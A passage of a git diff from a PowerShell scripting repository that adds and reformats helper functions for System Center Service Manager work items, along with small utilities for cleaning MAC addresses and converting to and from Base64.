WorkItemGUI - Specified the GUID of the Work Item - - .PARAMETER WorkItemObject - Specified the Work Item Object - - .EXAMPLE - $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' - $WorkItemGUID = $RunbookActivity.get_id() - - Get-SCSMWorkItemParent -WorkItemGUID $WorkItemGUID - - .EXAMPLE - $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' - Get-SCSMWorkItemParent -WorkItemObject $RunbookActivity - - .NOTES - Francois-Xavier.Cat - @lazywinadm - www.lazywinadmin.com - - 1.0 Function based on the work from Prosum and Cireson consultants - #> - [CmdletBinding()] - PARAM ( - [Parameter(ParameterSetName = 'GUID', Mandatory)] - $WorkItemGUID = '', - - [Parameter(ParameterSetName = 'Object', Mandatory)] - $WorkItemObject - ) - BEGIN - { - Import-Module -Name smlets -ErrorAction Stop - } - PROCESS - { - TRY - { - IF ($PSBoundParameters['WorkItemGUID']) - { - # Retrieve the Activity Object in SCSM - $ActivityObject = Get-SCSMObject -id $WorkItemGUID - } - IF ($PSBoundParameters['WorkItemObject']) - { - # Retrieve the Activity Object in SCSM - $ActivityObject = Get-SCSMObject -id $WorkItemObject.get_id() - } - - # Retrieve Parent - $ParentRelationshipID = '2da498be-0485-b2b2-d520-6ebd1698e61b' - $ParentRelatedObject = Get-SCSMRelationshipObject -ByTarget $ActivityObject | Where-Object{ $_.RelationshipId -eq $ParentRelationshipID } - $ParentObject = $ParentRelatedObject.SourceObject - - If ($ParentObject.ClassName -eq 'System.WorkItem.ServiceRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ChangeRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ReleaseRecord') - { - Write-Output $ParentObject - - # Could do the following to retrieve all the properties - # Get-SCSMObject $ParentRelatedObject.SourceObject.id.Guid - } - Else - { - # Loop to find the highest parent - Get-SCSMWorkItemParent -WorkItemGUID $ParentObject.id.guid - } - } - CATCH - { - Write-Error -Message $Error[0].Exception.Message - } - } #PROCESS - END - { - remove-module -Name smlets -ErrorAction SilentlyContinue - - }#End +function Get-SCSMWorkItemParent { + <# + .DESCRIPTION + Function to retrieve the parent of a System Center Service Manager Work Item + + .SYNOPSIS + Function to retrieve the parent of a System Center Service Manager Work Item + + .PARAMETER WorkItemGUI + Specified the GUID of the Work Item + + .PARAMETER WorkItemObject + Specified the Work Item Object + + .EXAMPLE + $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' + $WorkItemGUID = $RunbookActivity.get_id() + + Get-SCSMWorkItemParent -WorkItemGUID $WorkItemGUID + + .EXAMPLE + $RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB30579' + Get-SCSMWorkItemParent -WorkItemObject $RunbookActivity + + .NOTES + Francois-Xavier.Cat + @lazywinadmin + lazywinadmin.com + + 1.0 Function based on the work from Prosum and Cireson consultants + .LINK + https://github.com/lazywinadmin/PowerShell + #> + [CmdletBinding()] + PARAM ( + [Parameter(ParameterSetName = 'GUID', Mandatory)] + [Alias('ID')] + $WorkItemGUID, + + [Parameter(ParameterSetName = 'Object', Mandatory)] + $WorkItemObject + ) + BEGIN { + IF (-not (Get-Module -Name Smlets)) { + TRY { + Import-Module -Name smlets -ErrorAction Stop + } + CATCH { + Write-Error -Message "[BEGIN] Error importing smlets" + $Error[0].Exception.Message + } + } + ELSE { Write-Verbose -Message "[BEGIN] Smlets module already loaded" } + } + PROCESS { + TRY { + IF ($PSBoundParameters['WorkItemGUID']) { + # Retrieve the Activity Object in SCSM + Write-Verbose -Message "[PROCESS] Retrieving WorkItem with GUID" + $ActivityObject = Get-SCSMObject -id $WorkItemGUID + } + IF ($PSBoundParameters['WorkItemObject']) { + # Retrieve the Activity Object in SCSM + Write-Verbose -Message "[PROCESS] Retrieving WorkItem with SM Object" + $ActivityObject = Get-SCSMObject -id $WorkItemObject.get_id() + } + + # Retrieve Parent + Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name)" + Write-Verbose -Message "[PROCESS] Retrieving WorkItem Parent" + $ParentRelationshipID = '2da498be-0485-b2b2-d520-6ebd1698e61b' + $ParentRelatedObject = Get-SCSMRelationshipObject -ByTarget $ActivityObject | Where-Object -FilterScript { $_.RelationshipId -eq $ParentRelationshipID } + $ParentObject = $ParentRelatedObject.SourceObject + + Write-Verbose -Message "[PROCESS] Activity: $($ActivityObject.name) - Parent: $($ParentObject.name)" + + + If ($ParentObject.ClassName -eq 'System.WorkItem.ServiceRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ChangeRequest' -OR $ParentObject.ClassName -eq 'System.WorkItem.ReleaseRecord' -OR $ParentObject.ClassName -eq 'System.WorkItem.Incident') { + Write-Verbose -Message "[PROCESS] This is the top level parent" + Write-Output $ParentObject + + # Could do the following to retrieve all the properties + # Get-SCSMObject $ParentRelatedObject.SourceObject.id.Guid + } + Else { + Write-Verbose -Message "[PROCESS] Not the top level parent. Running Get-SCSMWorkItemParent against this object" + # Loop to find the highest parent + Get-SCSMWorkItemParent -WorkItemGUID $ParentObject.id.guid + } + } + CATCH { + Write-Error -Message $Error[0].Exception.Message + } + } #PROCESS + END { + Remove-Module -Name smlets -ErrorAction SilentlyContinue + }#End } #Function \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemParent/README.md b/SCSM-Get-SCSMWorkItemParent/README.md new file mode 100644 index 00000000..fdedb592 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemParent/README.md @@ -0,0 +1,40 @@ +[GetSCSMWorkItemParent01]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent01.jpg +[GetSCSMWorkItemParent02]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent02.jpg +[GetSCSMWorkItemParent03]: https://github.com/lazywinadmin/PowerShell/blob/master/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent03.jpg +# Get-SCSMWorkItemParent + +## Loading the function + +```PowerShell +# Load the function in your PS +. .\Get-SCSMWorkItemParent.ps1 +``` + +![alt text][GetSCSMWorkItemParent01] + +## Get the Work Item Parent of a Runbook Activity + +```PowerShell +# Load the function in your PS +# Get a Runbook Activity +$RunbookActivity = Get-SCSMObject -Class (Get-SCSMClass -Name Microsoft.SystemCenter.Orchestrator.RunbookAutomationActivity$) -filter 'ID -eq RB12813' + +# Get the Runbook Activity's Work Item Parent +Get-SCSMWorkItemParent -WorkItemObject $RunbookActivity +``` + +![alt text][GetSCSMWorkItemParent02] + + +## Get the Work Item Parent of a Runbook Activity using a GUID + +```PowerShell +# Load the function in your PS +# Get a Runbook Activity GUID +$RunbookActivity.get_id() + +# Get the Runbook Activity's Work Item Parent from the RBA guid +Get-SCSMWorkItemParent -WorkItemGuid $RunbookActivity.Get_id() +``` + +![alt text][GetSCSMWorkItemParent03] diff --git a/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent01.jpg b/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent01.jpg new file mode 100644 index 00000000..96e83e04 Binary files /dev/null and b/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent01.jpg differ diff --git a/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent02.jpg b/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent02.jpg new file mode 100644 index 00000000..6326ec54 Binary files /dev/null and b/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent02.jpg differ diff --git a/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent03.jpg b/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent03.jpg new file mode 100644 index 00000000..35e4dc40 Binary files /dev/null and b/SCSM-Get-SCSMWorkItemParent/images/Get-SCSMWorkItemParent03.jpg differ diff --git a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 new file mode 100644 index 00000000..28216d97 --- /dev/null +++ b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 @@ -0,0 +1,35 @@ +function Get-SCSMWorkItemRelatedCI { + <# + .SYNOPSIS + Function to retrieve the related configuration item of a System Center Service Manager Work Item + + .DESCRIPTION + Function to retrieve the related configuration item of a System Center Service Manager Work Item + + .PARAMETER GUID + Specifies the GUID of the WorkItem + + .EXAMPLE + PS C:\> Get-SCSMWorkItemRelatedCI -GUID "69c5dfc9-9acb-0afb-9210-190d3054901e" + + .NOTES + Francois-Xavier.Cat + @lazywinadmin + lazywinadmin.com + .LINK + https://github.com/lazywinadmin/PowerShell +#> + PARAM ( + [parameter()] + [Alias()] + $GUID + ) + PROCESS { + # Find the Ticket Object + $WorkItemObject = Get-SCSMObject -id $GUID + + # Find the Related Configuration Items + Get-SCSMRelationshipObject -BySource $WorkItemObject | + Where-Object -FilterScript { $_.relationshipid -eq 'd96c8b59-8554-6e77-0aa7-f51448868b43' } + } +} \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 index b0f08425..a23b38fa 100644 --- a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 +++ b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 @@ -1,44 +1,43 @@ -function Get-SCSMWorkItemRelatedRequestOffering -{ - <# - .SYNOPSIS - Function to retrieve the RequestOffering used to create a specific work item. - - .DESCRIPTION - Function to retrieve the RequestOffering used to create a specific work item. - It will output the full object and add the work item Name and GUID to the output +function Get-SCSMWorkItemRequestOffering { + <# + .SYNOPSIS + Function to retrieve the RequestOffering used to create a specific work item. - .EXAMPLE - $SR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" - Get-SCSMWorkItemRelatedRequestOffering -SMObject $SR - - .EXAMPLE - Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" | Get-SCSMWorkItemRelatedRequestOffering - - .EXAMPLE - $SR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" - $IR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.IncidentRequest$) -Filter "ID -eq 'IR99000'" - Get-SCSMWorkItemRelatedRequestOffering -SMObject $SR,IR - - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com - - #> - PARAM ( - [Parameter(ValueFromPipeline)] - $SMObject - ) - BEGIN { Import-Module -Name SMLets -ErrorAction Stop } - PROCESS - { - foreach ($Item in $SMObject) - { - (Get-SCSMRelationshipObject -BySource $Item | Where-Object { $_.RelationshipID -eq "2730587f-3d88-a4e4-42d8-08cf94535a6e" }).TargetObject | - Select-Object -property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + .DESCRIPTION + Function to retrieve the RequestOffering used to create a specific work item. + It will output the full object and add the work item Name and GUID to the output - } - }#PROCESS - END {Remove-Module -Name Smlets -ErrorAction SilentlyContinue} + .EXAMPLE + $SR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" + Get-SCSMWorkItemRequestOffering -SMObject $SR + + .EXAMPLE + Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" | Get-SCSMWorkItemRequestOffering + + .EXAMPLE + $SR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.ServiceRequest$) -Filter "ID -eq 'SR55000'" + $IR = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.IncidentRequest$) -Filter "ID -eq 'IR99000'" + Get-SCSMWorkItemRequestOffering -SMObject $SR,IR + + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + .LINK + https://github.com/lazywinadmin/PowerShell + + #> + PARAM ( + [Parameter(ValueFromPipeline)] + $SMObject + ) + BEGIN { Import-Module -Name SMLets -ErrorAction Stop } + PROCESS { + foreach ($Item in $SMObject) { + (Get-SCSMRelationshipObject -BySource $Item | Where-Object -FilterScript { $_.RelationshipID -eq "2730587f-3d88-a4e4-42d8-08cf94535a6e" }).TargetObject | + Select-Object -property @{ Label = "WorkItemName"; Expression = { $Item.Name } }, @{ Label = "WorkItemGUID"; Expression = { $Item.get_id() } }, * + + } + }#PROCESS + END { Remove-Module -Name Smlets -ErrorAction SilentlyContinue } } \ No newline at end of file diff --git a/SCSM-Get-SCSMWorkItemRequestOffering/Readme.md b/SCSM-Get-SCSMWorkItemRequestOffering/Readme.md new file mode 100644 index 00000000..345e6aef --- /dev/null +++ b/SCSM-Get-SCSMWorkItemRequestOffering/Readme.md @@ -0,0 +1 @@ +Test diff --git a/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 b/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 new file mode 100644 index 00000000..70ee51eb --- /dev/null +++ b/SCSM-Get-SCSMWorkItemUserInput/Get-SCSMWorkItemUserInput.ps1 @@ -0,0 +1,73 @@ +function Get-SCSMWorkItemUserInput { + <# + .SYNOPSIS + Retrieve the input text provided by the user + .DESCRIPTION + Retrieve the input text provided by the user + .PARAMETER WorkItemObject + Specify the WorkItem Object + Typically you'll need to retrieve the object prior to use this command + .EXAMPLE + Get-SCSMWorkItemUserInput -WorkItemObject + .NOTES + Initial version from http://itblog.no/4462 + Output PSOBject instead of array + .LINK + https://github.com/lazywinadmin/PowerShell + #> + [CmdletBinding()] + Param ( + $WorkItemObject + ) + BEGIN { + #Declare Vars + $userInput = "" + $ListArray = @() + } + PROCESS { + $UserInput = $WorkItemObject.UserInput + $content = [XML]$UserInput + $inputs = $content.UserInputs.UserInput + foreach ($input in $inputs) { + if ($($input.Answer) -like " Get-SCSMIRComment -Incident (get-scsmincident -ID 'IR55444') - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm -#> - [CmdletBinding()] - PARAM - ( - [System.WorkItem.Incident[]]$Incident - ) - PROCESS - { - FOREACH ($IR in $Incident) - { - TRY - { - # Retrieve Comments - $FilteredIncidents = $IR.AppliesToTroubleTicket | Where-Object { - $_.ClassName -eq "System.WorkItem.TroubleTicket.UserCommentLog" -OR $_.ClassName -eq "System.WorkItem.TroubleTicket.AnalystCommentLog" - } - - IF ($FilteredIncidents.count -gt 0) - { - FOREACH ($Comment in $FilteredIncidents) - { - $Properties = @{ - IncidentID = $IR.ID - EnteredDate = $Comment.EnteredDate - EnteredBy = $Comment.EnteredBy - Comment = $Comment.Comment - ClassName = $Comment.ClassName - IsPrivate = $Comment.IsPrivate - } - - New-Object -TypeName PSObject -Property $Properties - } # FOREACH - } #IF Incident found - } - CATCH - { - $Error[0] - } - } #FOREACH ($IR in $Incident) - - } #Process -} #Function \ No newline at end of file diff --git a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 deleted file mode 100644 index 69c9ea5b..00000000 --- a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 +++ /dev/null @@ -1,126 +0,0 @@ -Function Add-SRComment -{ -<# - .SYNOPSIS - Function to add a comment inside a Service Request - - .DESCRIPTION - Function to add a comment inside a Service Request - You need to have SMlets installed and permission to write inside - the service request. - - .PARAMETER ServiceRequestObject - Specifies the ServiceRequest where the comment will be added - - .PARAMETER Comment - Specifies the comment to add. - - .PARAMETER CommentType - Specifies the comment type. - You need to specify 'User' or 'Analyst'. - - .PARAMETER EnteredBy - Specifies your name. - - .PARAMETER IsPrivate - Specifies if the switch is private - - .EXAMPLE - PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' - - .EXAMPLE - PS C:\> Add-SRComment -ServiceRequestObject $SR -Comment "Task Completed" -CommentType Analyst -EnteredBy 'Francois-Xavier Cat' -IsPrivate - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - - Script inspired from http://www.scsm.se/?p=1423 by Anders Asp -#> - [CmdletBinding()] - PARAM ( - - [Alias("SRObject")] - [parameter(Mandatory = $true)] - [System.WorkItem.ServiceRequest]$ServiceRequestObject, - - [parameter(Mandatory = $True)] - [String]$Comment, - - [ValidateSet("User", "Analyst")] - [parameter(Mandatory = $True)] - [System.WorkItem.TroubleTicket] - [String]$CommentType, - - [parameter(Mandatory = $True)] - [String]$EnteredBy, - - [Switch]$IsPrivate - ) - BEGIN - { - TRY - { - if (-not (Get-Module -Name Smlets)) - { - Import-Module -Name Smlets -ErrorAction 'Stop' - } - } - CATCH - { - $Error[0] - } - } - PROCESS - { - TRY - { - # Make sure that the SR Object it passed to the function - If ($ServiceRequestObject.Id -ne $NULL) - { - Switch ($CommentType) - { - "Analyst" { - $CommentClass = "System.WorkItem.TroubleTicket.AnalystCommentLog" - $CommentClassName = "AnalystCommentLog" - } - "User" { - $CommentClass = "System.WorkItem.TroubleTicket.UserCommentLog" - $CommentClassName = "EndUserCommentLog" - } - } - # Generate a new GUID for the comment - $NewGUID = ([guid]::NewGuid()).ToString() - - # Create the object projection with properties - $Projection = @{ - __CLASS = "System.WorkItem.ServiceRequest"; - __SEED = $ServiceRequestObject; - EndUserCommentLog = @{ - __CLASS = $CommentClass; - __OBJECT = @{ - Id = $NewGUID; - DisplayName = $NewGUID; - Comment = $Comment; - EnteredBy = $EnteredBy; - EnteredDate = (Get-Date).ToUniversalTime(); - IsPrivate = $IsPrivate.ToBool(); - } - } - } - - # Create the actual comment - New-SCSMObjectProjection -Type "System.WorkItem.ServiceRequestProjection" -Projection $Projection - } - else - { - Throw "Invalid Service Request Object!" - } - } - CATCH - { - $Error[0] - } #CATCH - } #PROCESS -} # Function \ No newline at end of file diff --git a/SCSM-MA-Set-SCSMMAStatus/SCSM-MA-Set-SCSMMAStatus.ps1 b/SCSM-Set-SCSMMAStatus/SCSM-Set-SCSMMAStatus.ps1 similarity index 54% rename from SCSM-MA-Set-SCSMMAStatus/SCSM-MA-Set-SCSMMAStatus.ps1 rename to SCSM-Set-SCSMMAStatus/SCSM-Set-SCSMMAStatus.ps1 index 687e4966..5c5be7a6 100644 --- a/SCSM-MA-Set-SCSMMAStatus/SCSM-MA-Set-SCSMMAStatus.ps1 +++ b/SCSM-Set-SCSMMAStatus/SCSM-Set-SCSMMAStatus.ps1 @@ -1,42 +1,59 @@ -Function Set-SCSMMAStatus -{ +Function Set-SCSMMAStatus { + <# + .SYNOPSIS + Set the status of a Manual Activity + .DESCRIPTION + Set the status of a Manual Activity + .PARAMETER ManualActivityID + Specify the ID of the Manual Activity + .PARAMETER Status + Specify the status of the Manual activity + + Status possible: + In Progress + Cancelled + Completed + Failed + On Hold + Pending + Rerun + Skipped + .EXAMPLE + Set-SCSMMAStatus -ManualActivityID MA123456 -Status 'Cancelled' + .LINK + https://github.com/lazywinadmin/PowerShell + #> [CmdletBinding()] PARAM( $ManualActivityID, $Status = "Completed" ) - BEGIN - { - TRY - { - if (-not(Get-module -Name smlets)) - { + BEGIN { + TRY { + if (-not(Get-Module -Name smlets)) { # Import the module Import-Module -Name smlets } } - CATCH - { + CATCH { Write-Warning -Message "[BEGIN] Error while loading the smlets" Write-Warning -Message $Error[0].exception.message } } - PROCESS - { - TRY{ + PROCESS { + TRY { # Get a specific manual activity $ManualActivity = Get-SCSMObject -Class (Get-SCSMClass -Name System.WorkItem.Activity.ManualActivity$) -filter "ID -eq $ManualActivityID" # Change the status of the Manual Activity Set-SCSMObject -SMObject $ManualActivity -Property Status -Value $Status } - CATCH - { + CATCH { Write-Warning -Message "[PROCESS] Something wrong happened" Write-Warning -Message $Error[0].exception.message } } - END{ + END { Write-Verbose -Message "[END] Set-SCSMMAStatus Done!" } } \ No newline at end of file diff --git a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 new file mode 100644 index 00000000..daa78182 --- /dev/null +++ b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 @@ -0,0 +1,107 @@ +function Clean-MacAddress { + <# + .SYNOPSIS + Function to cleanup a MACAddress string + + .DESCRIPTION + Function to cleanup a MACAddress string + + .PARAMETER MacAddress + Specifies the MacAddress + + .PARAMETER Separator + Specifies the separator every two characters + + .PARAMETER Uppercase + Specifies the output must be Uppercase + + .PARAMETER Lowercase + Specifies the output must be LowerCase + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:33:44:55' + + 001122334455 + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Uppercase + + 001122DDEEFF + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase + + 001122ddeeff + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '-' + + 00-11-22-dd-ee-ff + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '.' + + 00.11.22.dd.ee.ff + + .EXAMPLE + Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator : + + 00:11:22:dd:ee:ff + + .OUTPUTS + System.String + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .Link + https://github.com/lazywinadmin/PowerShell +#> + [OutputType([String], ParameterSetName = "Upper")] + [OutputType([String], ParameterSetName = "Lower")] + [CmdletBinding(DefaultParameterSetName = 'Upper')] + param + ( + [Parameter(ParameterSetName = 'Lower')] + [Parameter(ParameterSetName = 'Upper')] + [String]$MacAddress, + + [Parameter(ParameterSetName = 'Lower')] + [Parameter(ParameterSetName = 'Upper')] + [ValidateSet(':', 'None', '.', "-")] + $Separator, + + [Parameter(ParameterSetName = 'Upper')] + [Switch]$Uppercase, + + [Parameter(ParameterSetName = 'Lower')] + [Switch]$Lowercase + ) + + BEGIN { + # Initial Cleanup + $MacAddress = $MacAddress -replace "-", "" #Replace Dash + $MacAddress = $MacAddress -replace ":", "" #Replace Colon + $MacAddress = $MacAddress -replace "/s", "" #Remove whitespace + $MacAddress = $MacAddress -replace " ", "" #Remove whitespace + $MacAddress = $MacAddress -replace "\.", "" #Remove dots + $MacAddress = $MacAddress.trim() #Remove space at the beginning + $MacAddress = $MacAddress.trimend() #Remove space at the end + } + PROCESS { + IF ($PSBoundParameters['Uppercase']) { + $MacAddress = $macaddress.toupper() + } + IF ($PSBoundParameters['Lowercase']) { + $MacAddress = $macaddress.tolower() + } + IF ($PSBoundParameters['Separator']) { + IF ($Separator -ne "None") { + $MacAddress = $MacAddress -replace '(..(?!$))', "`$1$Separator" + } + } + } + END { + Write-Output $MacAddress + } +} diff --git a/TOOL-Clean-MacAddress/Clean-MacAddress01.png b/TOOL-Clean-MacAddress/Clean-MacAddress01.png new file mode 100644 index 00000000..0a98cc45 Binary files /dev/null and b/TOOL-Clean-MacAddress/Clean-MacAddress01.png differ diff --git a/TOOL-Clean-MacAddress/README.md b/TOOL-Clean-MacAddress/README.md new file mode 100644 index 00000000..727adbe5 --- /dev/null +++ b/TOOL-Clean-MacAddress/README.md @@ -0,0 +1,42 @@ +[CleanMacaddress01]: https://github.com/lazywinadmin/PowerShell/blob/master/TOOL-Clean-MacAddress/Clean-MacAddress01.png +# Clean-MacAddress +This function is used to clean up a Mac Address string. + +I'm using this for some report and for SCCM Automation to keep everything clean :-) +## Loading the function + +```PowerShell +# Load the function in your PS +. .\Clean-MacAddress.ps1 +``` + +![alt text][CleanMacAddress01] + +## Clean a Mac Address + +```PowerShell +# Clean a Mac Address +Clean-MacAddress -MacAddress '00:11:22:33:44:55' +001122334455 + +# Clean a Mac Address and convert to UpperCase +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Uppercase +001122DDEEFF + +# Clean a Mac Address and convert to LowerCase +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase +001122ddeeff + +# Clean a Mac Address and convert to LowerCase and add a dash separator +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '-' +00-11-22-dd-ee-ff + +# Clean a Mac Address and convert to LowerCase and add a dot separator +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator '.' +00.11.22.dd.ee.ff + +# Clean a Mac Address and convert to LowerCase and add a colon separator +Clean-MacAddress -MacAddress '00:11:22:dD:ee:FF' -Lowercase -Separator : +00:11:22:dd:ee:ff + +``` diff --git a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 new file mode 100644 index 00000000..42ddeac5 --- /dev/null +++ b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 @@ -0,0 +1,38 @@ +function ConvertFrom-Base64 { + <# + .SYNOPSIS + Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. + + .DESCRIPTION + Converts the specified string, which encodes binary data as base-64 digits, to an equivalent 8-bit unsigned integer array. + + .PARAMETER String + Specifies the String to Convert + + .EXAMPLE + ConvertFrom-Base64 -String $ImageBase64 |Out-File ImageTest.png + + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin + .Link + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + PARAM ( + [parameter(Mandatory = $true, ValueFromPipeline)] + [String]$String + ) + TRY { + Write-Verbose -Message "[ConvertFrom-Base64] Converting String" + [System.Text.Encoding]::Default.GetString( + [System.Convert]::FromBase64String($String) + ) + } + CATCH { + Write-Error -Message "[ConvertFrom-Base64] Something wrong happened" + $Error[0].Exception.Message + } +} diff --git a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 new file mode 100644 index 00000000..4e2d6918 --- /dev/null +++ b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 @@ -0,0 +1,34 @@ +function ConvertTo-Base64 { + <# + .SYNOPSIS + Function to convert an image to Base64 + + .DESCRIPTION + Function to convert an image to Base64 + + .PARAMETER Path + Specifies the path of the file + + .EXAMPLE + ConvertTo-Base64 -Path "C:\images\PowerShellLogo.png" + + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + + [CmdletBinding()] + param + ( + [Parameter(Mandatory = $true, + ValueFromPipeline = $true)] + [ValidateScript( { Test-Path -Path $_ })] + [String]$Path + ) + Write-Verbose -Message "[ConvertTo-Base64] Converting image to Base64 $Path" + [System.convert]::ToBase64String((Get-Content -Path $path -Encoding Byte)) +} diff --git a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 index ade4cd5e..b433ca19 100644 --- a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 +++ b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 @@ -1,71 +1,86 @@ -function ConvertTo-StringList -{ -<# - .SYNOPSIS - Function to convert an array into a string list with a delimiter. - - .DESCRIPTION - Function to convert an array into a string list with a delimiter. - - .PARAMETER Array - Specifies the array to process. - - .PARAMETER Delimiter - Separator between value, default is "," - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - - I used this function in System Center Orchestrator (SCORCH). - This is sometime easier to pass data between activities +function ConvertTo-StringList { + <# + .SYNOPSIS + Function to convert an array into a string list with a delimiter. + + .DESCRIPTION + Function to convert an array into a string list with a delimiter. + + .PARAMETER Array + Specifies the array to process. + + .PARAMETER Delimiter + Separator between value, default is "," + + .EXAMPLE + $Computers = "Computer1","Computer2" + ConvertTo-StringList -Array $Computers + + Output: + Computer1,Computer2 + + .EXAMPLE + $Computers = "Computer1","Computer2" + ConvertTo-StringList -Array $Computers -Delimiter "__" + + Output: + Computer1__Computer2 + + .EXAMPLE + $Computers = "Computer1" + ConvertTo-StringList -Array $Computers -Delimiter "__" + + Output: + Computer1 + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + + I used this function in System Center Orchestrator (SCORCH). + This is sometime easier to pass data between activities + .LINK + https://github.com/lazywinadmin/PowerShell #> - - [CmdletBinding()] - [OutputType([string])] - param - ( - [Parameter(Mandatory = $true, - ValueFromPipeline = $true)] - [System.Array]$Array, - - [system.string]$Delimiter = "," - ) - - BEGIN { $StringList = "" } - PROCESS - { - Write-Verbose -Message "Array: $Array" - foreach ($item in $Array) - { - # Adding the current object to the list - $StringList += "$_$Delimiter" - } - Write-Verbose "StringList: $StringList" - } - END - { - TRY - { - IF ($StringList) - { - $lenght = $StringList.Length - Write-Verbose -Message "StringList Lenght: $lenght" - - # Output Info without the last delimiter - $StringList.Substring(0, ($lenght - $($Delimiter.length))) - } - }# TRY - CATCH - { - 